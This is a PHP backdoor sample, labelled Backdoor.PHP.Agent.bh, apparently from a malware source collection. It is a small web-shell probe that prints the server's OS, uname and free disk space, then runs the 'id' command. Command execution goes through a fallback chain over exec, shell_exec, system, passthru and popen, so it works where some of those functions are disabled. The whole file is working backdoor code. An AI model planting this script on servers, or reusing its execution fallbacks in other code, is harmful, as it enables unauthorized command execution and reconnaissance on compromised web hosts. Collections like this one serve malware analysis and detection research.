MalwareSourceCode/PHP/Backdoor.PHP.Agent.bh

<?
$dir = @getcwd();
echo "Mic22<br>";
$OS = @PHP_OS;
echo "OSTYPE:$OS<br>";
$UNAME = @php_uname();
echo "NAME:$UNAME<br>";
$free = disk_free_space($dir); 

if ($free === FALSE) {$free = 0;} 

if ($free < 0) {$free = 0;} 
echo "Free:".view_size($free)."<br>"; 

$cmd="id";
$eseguicmd=ex($cmd);
echo $eseguicmd;

function ex($cfe){
$res = '';
if (!empty($cfe)){
if(function_exists('exec')){
@exec($cfe,$res);
$res = join("\n",$res);
}
elseif(function_exists('shell_exec')){
$res = @shell_exec($cfe);
}
elseif(function_exists('system')){
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
}
elseif(function_exists('passthru')){
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
}
elseif(@is_resource($f = @popen($cfe,"r"))){
$res = "";
while(!@feof($f)) { $res .= @fread($f,1024); }
@pclose($f);
}}
return $res;
}

function view_size($size) 

{ 

 if (!is_numeric($size)) {return FALSE;} 

 else 

 { 

  if ($size >= 1073741824) {$size = round($size/1073741824*100)/100 ." GB";} 

  elseif ($size >= 1048576) {$size = round($size/1048576*100)/100 ." MB";} 

  elseif ($size >= 1024) {$size = round($size/1024*100)/100 ." KB";} 

  else {$size = $size . " B";} 

  return $size; 

 } 

} 

exit;